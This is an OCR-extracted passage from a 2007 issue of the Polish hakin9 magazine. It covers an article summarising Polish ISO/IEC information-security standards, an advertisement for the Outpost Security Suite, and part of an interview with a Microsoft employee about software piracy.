nia w ramach budowy systemu bez-
pieczeństwa instytucji. Raport tech-
niczny  ISO/IEC  13335-2,  wydanie 
polskie  –  Polski  Komitet  Normali-
zacyjny  2003,  zawiera  wytyczne 
do  zarządzania  i  planowania  bez-
pieczeństwa systemów teleinforma-
tycznych. 

Raport  ten  może  być  przydat-

ny  dla  kierownictwa  odpowiedzial-
nego  za  systemy  informatyczne 
w  instytucji.  Zarządzanie  bezpie-
czeństwem systemów informatycz-
nych  instytucji  jest  procesem,  któ-
ry  ma  służyć  osiąganiu  i  utrzyma-
niu  odpowiedniego  poziomu  po-
ufności,  integralności,  dostępno-
ści,  rozliczalności,  autentyczności 
i  niezawodności.  Punktem  począt-
kowym  jest  w  nim  ustalenie  celów 
instytucji dotyczących bezpieczeń-
stwa  systemów  informatycznych. 
Cele  te  powinny  wynikać  z  celów 
biznesowych  instytucji.  Zarządza-
nie  bezpieczeństwem  systemów 
informatycznych  obejmuje  sze-
reg  działań,  m.  in.  określenie  ce-
lów, strategii i polityki bezpieczeń-
stwa,  określenie  wymagań  w  za-
kresie bezpieczeństwa, wybór stra-

tegii  analizy  ryzyka,  wybór  zabez-
pieczeń  –  opracowanie  planu  za-
bezpieczeń  systemu/-ów  informa-
tycznych  instytucji,  monitorowanie 
procesu  ich  wdrażania,  przygoto-
wanie  personelu  (szkolenia,  dzia-
łania  uświadamiające)  oraz  czyn-
ności  wykonywane  już  po  wdroże-
niu  zabezpieczeń,  takie  jak:  utrzy-
manie  zabezpieczeń,  zgodność  z 
planem  zabezpieczeń,  monitoro-
wanie  oraz  obsługa  incydentów. 
Warto w tym miejscu zwrócić uwa-
gę  na  organizację  służb  odpowie-
dzialnych za bezpieczeństwo w in-
stytucji, a mianowicie: komitet bez-
pieczeństwa  systemów  informa-
tycznych, główny inspektor bezpie-
czeństwa  systemów  informatycz-
nych,  inspektorzy  bezpieczeństwa 
projektu/systemu informatycznego. 
Zasadniczą sprawą dla efektywno-
ści  działań  w  zakresie  zapewnie-
nia  bezpieczeństwa  systemów  in-
formatycznych instytucji jest popar-
cie ze strony najwyższego kierow-
nictwa  instytucji.  Poparcie  to  musi 
być faktyczne, a nie tylko deklaro-
wane.  Raport  techniczny  ISO/IEC 
13335-3,  wydanie  polskie  –  Pol-
ski  Komitet  Normalizacyjny  2003, 
zawiera  wytyczne  do  zarządzania 
bezpieczeństwem  systemów  infor-
matycznych.  Zarządzanie  bezpie-
czeństwem systemów informatycz-
nych  obejmuje  analizę  wymagań 
bezpieczeństwa, stworzenie planu, 
który  zapewni  spełnienie  tych  wy-
magań, wdrożenie tego planu oraz 
utrzymanie i administrowanie wdro-
żonymi  zabezpieczeniami.  Proces 
ten  rozpoczyna  się  od  określenia 
celów  i  strategii  instytucji  w  dzie-
dzinie  bezpieczeństwa  systemów 
informatycznych  oraz  od  opraco-
wania  polityki  bezpieczeństwa  in-

O autorze

Andrzej  Guzik  –  audytor  systemów 
zarządzania  jakością  i  bezpieczeń-
stwem  informacji,  specjalista  w  zakre-
sie  ochrony  informacji  prawnie  chro-
nionych,  redaktor  portalu  http://www.
ochronainformacji.pl
Kontakt z autorem: a.guzik@ochrona-
informacji.pl

Rysunek 2. 

Model PDCA stosowany w procesach SZBI

Wykonuj

(Do)

Działaj

(Act)

Utrzymanie

i doskonalenie ISMS

Wdrożenie

i eksploatacja ISMS

Planuj

(Plan)

Sprawdzaj

(Check)

Ustanowienie

ISMS

Monitorowanie

i przegląd ISMS

Wymagania

i oczekiwania

dotyczące

bezpieczeństwa

informacji

Zainteresowane

strony

Zarządzanie

bezpieczeństwem

informacji

Zainteresowane

strony

background image

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

69

stytucji  w  zakresie  systemów  in-
formatycznych.  Ważną  częścią 
procesu  zarządzania  bezpieczeń-
stwem  systemów  informatycznych 
jest  oszacowanie  i  analiza  ryzyka, 
ponieważ  w  oparciu  o  wyniki  ana-
lizy  ryzyka  dobiera  się  odpowied-
nie  zabezpieczenia.  Zastosowane 
zabezpieczenia  powinny  być  opła-
calne, pod względem poniesionych 
na  nie  kosztów  i  uwzględniać  wy-
magania  wynikające  z  przepisów 
prawa, wymagania biznesowe i wy-
magania z analizy ryzyka zasobów 
posiadających  wartość  dla  dzia-
łania  instytucji.  Ryzyko,  jakie  po-
wstaje po wprowadzeniu zabezpie-
czeń,  nazywamy  ryzykiem  szcząt-
kowym.  Również  dokument  polity-
ki bezpieczeństwa powinien zawie-
rać  m.  in.  podejście  do  zarządza-
nia  ryzykiem,  strategię  dla  analizy 
ryzyka  i  części  składowe  tej  ana-
lizy  (metody  i  techniki).  Przyję-
ta  strategia  analizy  ryzyka  powin-
na  uwzględniać  warunki  charakte-
rystyczne  dla  jednostki  organiza-
cyjnej  i  koncentrować  się  na  dzia-
łaniach  związanych  z  bezpieczeń-
stwem,  tam  gdzie  są  one  napraw-
dę potrzebne. W raporcie przedsta-
wiono cztery warianty podejścia do 
analizy  ryzyka:  podejście  podsta-
wowego  poziomu  bezpieczeństwa, 
podejście  nieformalne,  szczegóło-
wą analizę ryzyka i podejście mie-
szane. Podstawowa różnica pomię-
dzy nimi dotyczy stopnia szczegó-
łowości  analizy  ryzyka.  Podejście 
podstawowego  poziomu  bezpie-
czeństwa polega na wprowadzeniu 
standardowych zabezpieczeń, nie-
zależnie od ryzyka wynikającego z 
analizy zasobów, zagrożeń i podat-
ności. Podejście nieformalne pole-
ga  na  wykorzystaniu  wiedzy  i  do-
świadczenia ekspertów; koncentru-
je się na zasobach narażonych na 
wysokie ryzyko. Z kolei szczegóło-
wa analiza ryzyka wymaga identy-
fikacji  i  wyceny  aktywów,  oszaco-
wania  zagrożeń  oraz  oszacowa-
nia  podatności.  Możliwość  czwar-
ta,  podejście  mieszane,  obejmu-
je  dwa  etapy.  W  pierwszym  eta-
pie  przeprowadza  się  ogólną  ana-
lizę ryzyka dla wszystkich zasobów 

z uwzględnieniem ich wartości biz-
nesowej  i  ryzyka,  na  które  są  one 
narażone.  Dla  wszystkich  zidenty-
fikowanych zasobów, które są waż-
ne dla instytucji i narażone na wy-
sokie  ryzyko,  należy  przeprowa-
dzić  później  szczegółową  analizę 
ryzyka. W drugim etapie dla pozo-
stałych  zasobów  należy  zastoso-
wać  podejście  podstawowego  po-
ziomu  bezpieczeństwa.  Przyjęcie 
podejścia  mieszanego  zalecane 
jest  dla  większości  instytucji.  Jest 
ono najbardziej efektywne – szcze-
gółowa analiza ryzyka w odniesie-
niu do zasobów posiadających war-
tość lub narażonych na wysokie ry-
zyko,  a  dla  pozostałych  zasobów 
zastosowanie  podstawowego  po-
ziomu  bezpieczeństwa  –  wdroże-
nie  standardowych  zabezpieczeń. 
Wdrożeniu  zabezpieczeń  powi-
nien towarzyszyć również program 
uświadamiania  i  szkoleń,  ważny 
dla uzyskania efektywności zabez-
pieczeń. Ponadto nie należy zapo-
minać  o  działaniach  po  wdrożeniu 
zabezpieczeń.  Działania  te  powin-
ny obejmować m. in. konserwacje, 
sprawdzenie zgodności z zasadami 
bezpieczeństwa,  zarządzanie  za-
mianami,  monitorowanie  oraz  po-
stępowanie  w  przypadku  incyden-
tów.  Warto  również  zwrócić  uwa-
gę  na  załączniki  do  raportu.  Mają 
one  charakter  praktyczny.  Załącz-
nik A zawiera przykład spisu treści 
polityki  bezpieczeństwa  instytucji 
w  zakresie  systemów  informatycz-
nych,  załącznik  B  omawia  wycenę 
aktywów,  załącznik  C  przedstawia 
listę kontrolną możliwych typów za-
grożeń,  załącznik  D  zawiera  przy-
kłady typowych podatności, zaś za-
łącznik  E  przykłady  wykorzystania 
różnych metod analizy ryzyka.

Zarządzanie 

bezpieczeństwem 

informacji

Norma  PN-ISO/IEC  17799:  2007 
Technika  informatyczna  –  Tech-
niki  bezpieczeństwa  –  Praktycz-
ne  zasady  zarządzania  bezpie-
czeństwem  informacji  jest  pierw-
szym  standardem  obejmującym 
kompleksowo  zarządzanie  bezpie-

czeństwem  informacji.  Celem  tej 
normy  jest  wdrożenie  takich  me-
chanizmów  zarządzania,  które  za-
pewnią,  że  bezpieczeństwo  infor-
macji  będzie  istotnym  elementem 
funkcjonowania  organizacji.  Nor-
ma zawiera wytyczne zarządzania 
bezpieczeństwem  informacji.  Do-
tyczy  wszystkich  obszarów  bez-
pieczeństwa:  fizycznego  i  środo-
wiskowego, osobowego, IT, zarzą-
dzenia  ciągłością  działania  i  za-
pewnienia  zgodności  z  przepisami 
prawa. Zgodnie z ową normą, infor-
macja  jest  aktywem,  który  podob-
nie jak inne ważne aktywa bizneso-
we ma dla instytucji wartość i dla-
tego  należy  ją  odpowiednio  chro-
nić.  Dotyczy  to  zarówno  ochro-
ny  informacji  własnych  instytucji, 
jak  i  zapewnienia  bezpieczeństwa 
informacji  udostępnionych  przez 
klienta.  Bezpieczeństwo  informa-
cji  oznacza  według  normy  ochro-
nę  informacji  przed  różnymi  za-
grożeniami w taki sposób, aby za-
pewnić  ciągłość  działania  –  reali-
zację  celów  statutowych  instytu-
cji,  zminimalizować  straty  i  zmak-
symalizować zwrot nakładów na in-
westycje  i  działania  o  charakterze 
biznesowym. Norma odnosi się tyl-
ko do 3 aspektów informacji podle-
gających ochronie: poufności – za-
pewnienie  dostępu  do  informacji 
tylko osobom upoważnionym, inte-
gralności – zapewnienie dokładno-
ści  i  kompletności  informacji  i  me-
tod  jej  przetwarzania,  dostępno-
ści  –  zapewnienia,  że  osoby  upo-
ważnione mają dostęp do informa-
cji i związanych z nią aktywów wte-
dy,  gdy  im  jest  to  potrzebne.  Nor-
ma PN-ISO/IEC 27001: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa  –  Systemy  zarządza-
nia  bezpieczeństwem  informacji 
– Wymagania definiuje system za-
rządzania  bezpieczeństwem  infor-
macji  (SZBI).  Powinien  on  stano-
wić  część  składową  systemu  za-
rządzania  instytucją  i  być  oparty 
na  podejściu  wynikającym  z  ryzy-
ka biznesowego. Norma zaleca po-
dejście  systemowe  oparte  na  cią-
głym  doskonaleniu,  zgodnie  z  cy-
klem  PDCA  (Plan-Do-Check-Act

background image

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

70

Deminga obejmującym: ustanowie-
nie, wdrożenie, eksploatację, moni-
torowanie, przegląd, a także utrzy-
manie i doskonalenie SZBI. 

Norma  oparta  jest  podobnie 

jak  norma  ISO  9001:  2000  i  nor-
ma ISO 14001: 2004 na zasadach 
podejścia  procesowego.  Umożli-
wia  w  instytucji  budowę  zintegro-
wanego  systemu  zarządzania:  za-
rządzania jakością w oparciu o nor-
mę ISO 9001 i zarządzania bezpie-
czeństwem  informacji  w  oparciu  o 
normę ISO 27001. Wdrożenie w in-
stytucji  zintegrowanego  systemu 
zarządzania  może  przynieść  or-
ganizacji  szereg  korzyści:  pozwo-
li  objąć  systemem  wszystkie  ob-
szary  działania  firmy,  zwróci  uwa-
gę na ochronę informacji i jej war-
tość,  zwiększy  zainteresowanie 
technologiami ICT, spowoduje pro-
wadzenie analizy i zarządzania ry-
zykiem,  zapewni  opracowanie  pla-
nów  ciągłości  działania,  przyczyni 
się do uzyskania przewagi nad kon-
kurencją i poprawi wizerunek firmy. 
W załączniku A do normy przedsta-
wiono  cele  stosowania  zabezpie-
czeń  i  zabezpieczenia,  które  na-
leży  wybrać  w  przypadku  podję-
cia decyzji o wdrożeniu w instytucji 
SZBI.  Norma  może  być  przydatna 
dla  każdej  organizacji,  niezależnie 
od  wielkości  czy  branży,  niezależ-
nie  od  tego,  czy  instytucja  będzie 
ubiegać się o certyfikację systemu 
zarządzania  bezpieczeństwem  in-
formacji, czy nie.

Wspólne Kryteria

Warto  wspomnieć  również  o  nor-
mie  ISO/IEC  15408.  Norma  skła-
da się z trzech części, z czego na 
język polski przetłumaczono pierw-
szą  i  trzecią  część,  odpowiednio 
PN-ISO/IEC  15408-1:  2002  Tech-
nika  informatyczna  –  Techniki  za-
bezpieczeń  –  Kryteria  oceny  za-
bezpieczeń informatycznych Część 
1:  Wprowadzenie  i  model  ogólny  i 
PN-ISO/IEC  15408-3:  2002  Tech-
nika  informatyczna  –  Techniki  za-
bezpieczeń  –  Kryteria  oceny  za-
bezpieczeń informatycznych Część 
3: Wymagania uzasadnienia zaufa-
nia  do  zabezpieczeń.  Nie  przetłu-

maczono  części  drugiej,  ISO/IEC 
15408-2  Security  functional  re-

quirements  (Wymagania  funkcjo-
nalne  zabezpieczeń).  W  normie 
PN-ISO/IEC  15408-1  przedsta-
wiono  terminologię  używaną  we 
wszystkich  częściach  normy.  Za-
warto zasady oceny systemów za-
bezpieczeń oraz ogólny model, na 
którym  taka  ewaluacja  może  być 
oparta.  W  załączniku  A  do  normy 
opisano  projekt  Wspólnych  Kryte-
riów,  w  załączniku  B  przedstawio-
no  specyfikację  profili  zabezpie-
czeń,  a  w  załączniku  C  specyfika-
cję zadań zabezpieczeń. Zgodnie z 
normą, profil zabezpieczeń definio-
wany  jest  przez  niezależny  od  im-
plementacji zbiór wymagań na za-
bezpieczenia teleinformatyczne dla 
określonego  typu  przedmiotu  oce-
ny.  Zadanie  zabezpieczeń  zawie-
ra  natomiast  wymagania  w  zakre-
sie  bezpieczeństwa  dla  konkret-
nego  przedmiotu  oceny  i  stano-
wi  podstawę  takiej  ewaluacji.  Za-
danie  zabezpieczeń  może  zawie-
rać  wymagania  lub  być  zgodne  z 
jednym  lub  wieloma  profilami  za-
bezpieczeń. W części trzeciej nor-
my ISO/IEC 15408-3 zdefiniowano 
wymagania uzasadnienia zaufania. 
Przedstawiono kryteria oceny pro-
filu zabezpieczeń i zadania zabez-
pieczeń, a także wprowadzono po-
ziomy  uzasadnienia  zaufania  EAL 
(Evaluation  Assurance  Levels), 
które wskazują skalę do określenia 
tych poziomów (miarę wiarygodno-
ści). Wynikiem oceny systemu (pro-
duktu) informatycznego według za-
leceń  Common  Criteria  jest  doku-
ment stwierdzający: 

• 

zgodność  tego  systemu  z  okre-
ślonym profilem zabezpieczeń, 

• 

spełnienie  wymagań  bezpie-
czeństwa  określonych  w  zada-
niach  zabezpieczenia  lub  przy-
pisanie do konkretnego poziomu 
uzasadnionego zaufania (EAL).

Wykrywanie włamań

Na  koniec  warto  wspomnieć  o  ra-
porcie  technicznym  ISO/IEC  TR 
15947:  2002  Technika  informatycz-
na – Techniki zabezpieczeń – Struk-

tura  wykrywania  włamań  w  syste-
mach  teleinformatycznych.  Raport 
ten stanowi kompendium wiedzy na 
temat wykrywania włamań w syste-
mach  teleinformatycznych.  Zapre-
zentowano  w  nim  nie  tylko  ogólny 
system  wykrywania  włamań,  ale 
scharakteryzowano  również  typy  i 
źródła danych wejściowych, w opar-
ciu  o  które  konstruuje  się  modele 
reakcji  tych  systemów  na  określo-
ne zdarzenia. Szczegółowo opisano 
działania podejmowane w odpowie-
dzi  na  wykrycie  włamania.  Raport 
zawiera wiele cennych danych przy-
datnych osobom, które są odpowie-
dzialne  za  bezpieczeństwo  sieci 
korporacyjnych.  Może  być  również 
dobrym źródłem informacji dla pro-
jektantów  i  osób,  zajmujących  się 
systemami wykrywania włamań.

Podsumowanie

Polskie  normy  dotyczące  bez-
pieczeństwa  informacji  stanowią 
tłumaczenie  dokumentów  ISO. 
Oprócz  norm  International  Orga-

nization  for  Standardization  istnie-
je  szereg  zaleceń  zawierających 
wytyczne  w  zakresie  ochrony  sys-
temów  teleinformatycznych  o  za-
sięgu  lokalnym  dotyczącym  kraju, 
grupy  krajów  lub  grupy  użytkowni-
ków,  np.  Internetu.  Dokumenty  te-
go typu stanowią cenne uzupełnie-
nie  norm  ISO  i  IEC  (International 

Electrotechnical  Commission).  W 
polskich  warunkach  mamy  zwykle 
do  czynienia  z  konglomeratem  kil-
ku  tajemnic  prawnie  chronionych  i 
informacji  biznesowych  chronio-
nych  we  własnym  interesie.  Tylko 
niektóre z nich (dane osobowe, in-
formacje  niejawne)  mają  przepi-
sy wykonawcze, wymagania w za-
kresie  ochrony.  Większość  z  nich 
nie  określa  wymagań,  jak  je  chro-
nić,  a  chronić  je  należy.  W  przy-
padku  tych  tajemnic,  dla  których 
brak wymagań i wytycznych w za-
kresie ochrony, pomocne mogą być 
standardy,  zalecenia  i  polskie  nor-
my  dotyczące  bezpieczeństwa  in-
formacji, które stanowią źródło tzw. 
dobrych praktyk. Zachęcam do za-
poznania się z nimi i praktycznego 
ich stosowania. l

background image
background image

OUTPOST SECURITY SUITE 

– Nowy Pakiet Bezpieczeństwa Dla Wymagających

Outpost Security Suite Pro jest pierwszym w historii fir-
my Agnitum proaktywnym pakietem typu Internet se-
curity. Program powstał na bazie znanego i cenione-
go na całym świecie Outpost Firewall Pro, który uzu-
pełniono o moduł antywirusowy oraz filtr antyspamo-
wy. Pakiet zapewnia stacjom roboczym pełną ochronę 
przed skutkami aktywności koni trojańskich, wirusów, 
robaków czy też programów typu spyware. Dodatko-
wo Outpost Security Suite dysponuje specjalnym mo-
dułem,  który  zabezpiecza  go  przed  deaktywacją  lub 
zablokowaniem wybranych funkcji  przez złośliwe pro-
gramy. Ważną cechą pakietu jest proaktywność, dzię-
ki  której  użytkownik  jest  chroniony  przed  nowymi, 
jeszcze nierozpoznanymi zagrożeniami.

ZNANY I SKUTECZNY 
PERSONAL FIREWALL 

Firewall, będący fundamentem pakietu, monitoruje 
wszystkie połączenia z komputerem użytkownika. 
W razie wykrycia ataku lub próby nawiązania nie-
autoryzowanego połączenia przez samą stację ro-
boczą program automatycznie blokuje zagrożenie 
oraz  powiadamia  użytkownika  o  zaistniałym  zda-
rzeniu. Dodatkową ochronę zapewnia pełna bloka-
da portów, dzięki której komputer użytkownika sta-
je się niewidoczny dla innych użytkowników sieci. 
Outpost Security Suite Pro zabezpiecza przed ata-
kami  wewnątrz  sieci  LAN,  eliminuje  ryzyko  prze-
chwycenia informacji wrażliwych oraz chroni przed 
skutkami działań pułapek phishingowych.

INNOWACYJNY SILNIK SKANUJĄCY

Ważnym elementem Outpost Security Suite jest in-
nowacyjny  silnik  skanujący,  który  wykrywa  wiru-
sy, robaki oraz inne złośliwe programy. Powstał on w 

oparciu o ulepszoną technologię na licencji VirusBu-
ster – węgierskiego producenta rozwiązań antywiru-
sowych, który wielokrotnie uzyskał w prestiżowych 
testach Virus Bulletin nagrodę 100%. Skaner wypo-
sażono  w  technologię  SmartScan,  która  optymali-
zuje  proces  sprawdzania  nośników  oraz  załączni-
ków poczty elektronicznej w poszukiwaniu wirusów. 
Dzięki  SmartScan  użytkownik  może  zlecić  progra-
mowi sprawdzanie wyłącznie nowych zbiorów oraz 
plików, które uległy modyfikacji od momentu ostat-
niego skanowania, co w znaczący sposób przyspie-
sza cały proces. 

Outpost Security Suite dysponuje również sku-

teczną ochroną antyspamową opartą na inteligent-
nym filtrze Bayesa, który stopniowo uczy się roz-
poznawać,  które  z  otrzymywanych  wiadomości 
elektronicznych są spamem, a które nie. 

STWORZONY Z MYŚLĄ 
O WYGODZIE UŻYTKOWNIKA

Firma Agnitum zadbała by jej nowy produkt był nie 
tylko skuteczny, ale też prosty w obsłudze. Z myślą 
o wygodzie użytkownika zautomatyzowano i mak-
symalnie  uproszczono  cały  proces  instalacji  oraz 
konfiguracji  programu.  Dodatkowo  Outpost  Securi-
ty Suite, podobnie jak Outpost Firewall Pro dysponu-
je usługą ImproveNet - społecznością, którą tworzą 
użytkownicy programów Agnitum oraz eksperci bez-
pieczeństwa z tej firmy. Dołączając do programu Im-
proveNet  użytkownik  może  automatycznie  korzy-
stać  z  gotowych  szablonów  reguł  udostępnianych 
przez firmę Agnitum. Zaktualizowane reguły dystry-
buowane  są  codziennie  dzięki  czemu  konieczność 
ręcznego ustawiania zabezpieczeń programu zosta-
je  zredukowana  do  minimum.  Dodatkową  pomocą 
dla niedoświadczonych użytkowników jest system 
SmartAdvisor podpowiadający, który program powi-
nien otrzymać zezwolenie na połączeni się z siecią, 
a który takiego dostępu mieć nie powinien. 

Kolejnym  rozwiązaniem  stworzonym  z  myślą 

o wygodzie użytkownika jest tzw. tryb cichy. Dzię-
ki niemu Outpost Security Suite rozpoznaje, kiedy na 
stacji  roboczej  uruchomiono  program  multimedial-

ny, a następnie automatycznie zmienia swoje usta-
wienia  tak,  aby  nie  przeszkadzać  w  rozrywce  i  nie 
wyświetlać standardowych alertów. Zagrożenia, któ-
re zostaną w tym czasie wykryte są automatycznie 
zabezpieczane i stają się widoczne dla użytkownika 
dopiero po wyłączeniu multimediów. Decyzję, które 
programy  mają  być  traktowane  przez  pakiet  jako 
multimedialne podejmuje sam użytkownik.

Zaawansowani użytkownicy, którzy wymaga-

ją  od  programów  typu  Internet  security  profesjo-
nalnej  i  pewnej  ochrony  będą  usatysfakcjonowa-
ni nie tylko funkcjonalnością i sposobem działania 
programu,  ale  również  rozbudowanym  systemem 
opcji oraz dostępem do szczegółowej bazy danych 
zawierającej informacje o ruchu w sieci. Precyzyj-
ne oraz co ważniejsze szybkie wyszukiwanie kon-
kretnych informacji o połączeniach zapewnia wbu-
dowany system filtrów.

Wyłącznym  dystrybutorem  Outpost  Securi-

ty Suite oraz innych programów firmy Agnitum na 
terenie  Polski  jest  Dagma.  Firma  wprowadziła  już 
do sprzedaży Outpost Security Suite w angielskiej 
wersji  językowej.  Równocześnie  programiści  Dag-
my  przystąpili  do  prac  nad  spolszczeniem  pakie-
tu. Po ich ukończeniu użytkownicy angielskiej wer-
sji Outpost Security Suite będą mogli skorzystać z 
bezpłatnej migracji do polskiej wersji językowej.

Dodatkowe informacje:
Dagma sp. z o.o.
Tel. 32 259 11 00
www.outpost.pl

Kontakt:

Reklama

Firma Agnitum, producent wielokrotnie nagradzanego Outpost Firewalla Pro,

wprowadziła do sprzedaży pełną wersję nowego produktu, pakietu typu 

Internet Security – Outpost Security Suite Pro.

background image
background image

www.hakin9.org

hakin9 Nr 8/2007

74

Wywiad

hakin9:

  Kto  dziś  w  Polsce  zajmuje  się  pirac-

twem  –  czy  są  to  zorganizowane  grupy  prze-
stępcze, czy domowi piraci?

Krzysztof  Janiszewski:

  Polska  z  pewno-

ścią nie jest wyizolowaną wyspą, więc możemy 
mówić o tym zjawisku w ujęciu globalnym. Pirac-
two to z jednej strony zajęcie osób i całych grup 
trudniących  się  dystrybucją  nielegalnego  opro-
gramowania,  z  drugiej  strony  szeroko  rozpo-
wszechnione  używanie  programów  nielicencjo-
nowanych przez odbiorców – klientów indywidu-
alnych, ale niestety również i firmy. Statystyki po-
kazują, że bywa z tym rzeczywiście nieco ina-
czej w różnych krajach. Wiadomo, że im większa 
skala piractwa, tym więcej nielegalnego oprogra-
mowania w firmach. Tam, gdzie z kolei statysty-
ki wykazują najniższą skalę, najwięcej piractwa 
znajduje się w segmencie użytkowników indywi-
dualnych. A zatem będą to kraje najbardziej cy-
wilizowane, o wysokim stopniu rozwoju jak USA, 
Japonia,  Wielka  Brytania,  gdzie  skala  piractwa 
waha się w granicach 20%-25%. Myślę, że głów-
na część piractwa to jednak segment użytkowni-
ków indywidualnych. Tam, gdzie ta skala kształ-
tuje się na poziomie 57% (jak w Polsce), wiado-
mo, że walnie przyczynia się do tego używanie 
nielegalnych programów w firmach.

h9:

  Jaka  jest  aktualnie  skala  piractwa  w 

Polsce na przykładzie Microsoft?

KJ:

 W ciągu ostatnich kilku lat, jak wskazu-

ją badania BSA opublikowane w połowie maja, 
skala ta w Polsce powoli spada. Jest to dobra 
tendencja, aczkolwiek spadek 1% w skali roku 
to wciąż nie jest to, czego oczekujemy. Warto 
tutaj  przypomnieć,  że  według  prowadzonych 
wcześniej badań firmy IDC wynika, że gdyby 
w  ciągu  trzech  lat  udało  nam  się  ograniczyć 
piractwo o 10%, wówczas nie dość, że w istot-
ny sposób odczułby to budżet państwa – w po-
staci  różnego  rodzaju  podatków:  bezpośred-
nich,  pośrednich  itd.  –  ale  przede  wszystkim 
moglibyśmy utworzyć w Polsce ponad 30000 
nowych miejsc pracy i to miejsc pracy w sek-
torze  ściśle  związanym  z  oprogramowaniem 
i  jego  produkcją.  Te  badania  wykazują,  że 
stworzenie jednego takiego miejsca pracy po-
ciąga  automatycznie  za  sobą  cztery  następ-
ne, więc mówimy o naprawdę wielkiej skali na 
przestrzeni 10 lat! Ale cóż, albo wszyscy musi-
my uderzyć się w pierś, albo musimy wziąć się 
do  bardziej  intensywnej  pracy,  żeby  spadek 
skali piractwa był bardziej zauważalny.

h9:

 W jaki sposób Microsoft chce walczyć 

z  piractwem  komputerowym,  patrząc  na  ów 

Wywiad z Krzysztofem 

Janiszewskim – ochrona 

własności intelektualnej

Krzysztof Janiszewski

W Microsoft pracuje już od 

dziesięciu lat i od początku zajmuje 

się problematyką związaną z 

piractwem komputerowym. Jego 

działania koncentrują się na polu 

edukacyjno-prewencyjnym.

background image

Wywiad

hakin9 Nr 8/2007

www.hakin9.org

75

problem  z  perspektywy  polityki  własnej  firmy  –  promo-
cje, upusty itp?

KJ:

  Tego  rodzaju  działania  podejmujemy  już  od 

dawna. Wyszliśmy np. z propozycją pakietu Office skie-
rowanego  do  konsumenta  domowego.  Ten  pakiet  w 
przypadku Office 2003, czyli oprogramowania istnieją-
cego na rynku już parę lat, nazywał się Office dla Stu-
dentów  i  Nauczycieli,  a  jedynym  jego  ograniczeniem 
jest zakaz używania go do celów komercyjnych. Znako-
mite zalety tego pakietu to to, że jest w pełni funkcjonal-
nym odpowiednikiem Microsoft Office Standard. Kolej-
ną zaletą jest cena, która wynosi poniżej 400 złotych za 
licencję. Licencja owa jest wieczysta, więc niezależnie 
od tego, czy ktoś kończy karierę nauczyciela, studenta, 
ucznia, licencja nie wygasa. No i trzeci plus tego pakie-
tu polega na tym, że można go zainstalować na trzech 
stanowiskach, więc za niecałe 400 zł mamy pakiet, któ-
ry możemy używać na trzech komputerach. Inne nasze 
propozycje dotyczą np. najnowszej wersji Microsoft Of-
fice 2007 do użytku domowego. Nie ma już tu ograni-
czenia  nauczycielsko-studenckiego,  a  takie  same  po-
zostają  zasady  licencjonowania  –  czyli  nie  można  go 
używać  do  celów  komercyjnych,  możliwość  instalacji 
na  trzech  stanowiskach,  wieczysta  licencja.  Cena  też 
podobna – około 400 zł. To kolejny argument przeciw-
ko  szeroko  rozpowszechnianemu  mitowi,  że  oprogra-
mowanie jest drogie. Jeśli zaś chodzi o systemy opera-

cyjne – to Windows XP Home w cenie około 320 zł też 
nie stanowi dużego wydatku. Zawsze podkreślam, że w 
momencie zakupu oprogramowania inwestujemy w nie 
na parę lat, a nie na dwa tygodnie, jak ma to miejsce np. 
w  przypadku  tankowania  samochodu,  (a  koszty  są  tu 
porównywalne).  Kolejna  nasza  propozycja,  kierowana 
jest dla klienta biznesowego, dla tych, którzy posiada-
ją już komputery, a nie zdążyli zaopatrzyć się w licen-
cjonowany pakiet Office. Jest to oferta Microsoft Works 
plus Upgrade do Office'a. Cena takiego rozwiązania to 
ok. 1000 zł, ale pamiętajmy, że jest to propozycja biz-
nesowa dla firmy, więc wydaje mi się, że jest to bardzo 
atrakcyjna cena.

h9:

 Czy wzrost zamożności społeczeństwa (czyli re-

latywny  spadek  cen  dla  Polaków)  wpłynął  w  ostatnim 
czasie na zwiększenie odsetka legalnych instalacji pro-
duktów Microsoft?

KJ:

  Myślę,  że  tak.  Zawsze  człowiekowi  lepiej  zara-

biającemu łatwiej jest pogodzić się z pewnym wydatkiem 
(większym  czy  nieplanowanym),  także  na  pewno  ma  to 
przełożenie  na  optymistyczne  dane  statystyczne,  które 
wykazują, że w kolejnych miesiącach rośnie nam średnia 
miesięczna pensja. Wypada się z tego tylko cieszyć. Tym 
bardziej,  że  będąc  krajem  członkowskim  Unii  Europej-
skiej, jesteśmy zobligowani do tego, żeby utrzymać taki 
sam poziom cen, jak na całym rynku europejskim. Nie ma 
więc różnicy, czy kupimy Windows czy Office we Francji, 

background image

hakin9 Nr 8/2007

www.hakin9.org

76

Wielkiej Brytanii, w Polsce czy Niemczech. Cena jest ta 
sama. Różnice mogą wynikać tu tylko z odmiennych cen 
systemów podatkowych w różnych krajach, natomiast ce-
na bazowa, cena dystrybucyjna wszędzie jest taka sama.

h9:

 Czy Microsoft planuje w Polsce obniżenie cen, co 

mogłoby wpłynąć na poprawę sytuacji?

KJ:

 Jak już mówiłem, ceny są ustalone odgórnie po-

przez regulacje między narodowe. Owszem czasami mo-
gą mieć miejsce jakieś promocje, ale nie są to jakieś bar-
dzo duże upusty. Mogą to być promocje rzędu kilku pro-
cent upustu od cen standardowych.

h9:

 Czy na przestrzeni ostatnich lat/miesięcy firma Mi-

crosoft zauważyła zmiany w ilości przestępstw tego typu?

KJ:

 Wydaje mi się, że można zaryzykować stwierdze-

nie, że mamy do czynienia z tendencją pozytywną. Z jed-
nej strony badania robione na zlecenie BSA raz do roku, z 
drugiej strony wyniki sprzedaży. Nie tylko Microsoft, ale i 
inni producenci wykazują w tym sektorze wzrosty i to do-
syć duże. Należy w związku z tym sądzić, że mimo faktu, 
że cały rynek sprzętu komputerowego odczuwa wzrost, 
nieco większy jednak wzrost obserwujemy w przypadku 
oprogramowania. Przekłada się to na zmniejszenie ska-
li piractwa.

h9:

 Czy po akcji z oprogramowaniem wyświetlającym 

informacje  o  nielegalnym  oprogramowaniu  firma  Micro-
soft odnotowała zauważalny wzrost zysków ?

KJ:

  Z  pewnością  tak!  Tutaj  trudno  jeszcze  mówić 

o  statystykach,  trudno  mówić  o  konkretnych  liczbach, 
natomiast notyfikacja WGA, czyli system powiadamia-
nia o tym, czy pracujemy na legalnym czy też nielegal-
nym  systemie  operacyjnym  wprowadzona  została  w 
Polsce już ponad rok temu. Polska była jednym z kra-
jów  objętym  taką  akcją  pilotażową.  Było  to  kilka  kra-
jów w skali całego świata, a przyjęło się to rozwiąza-
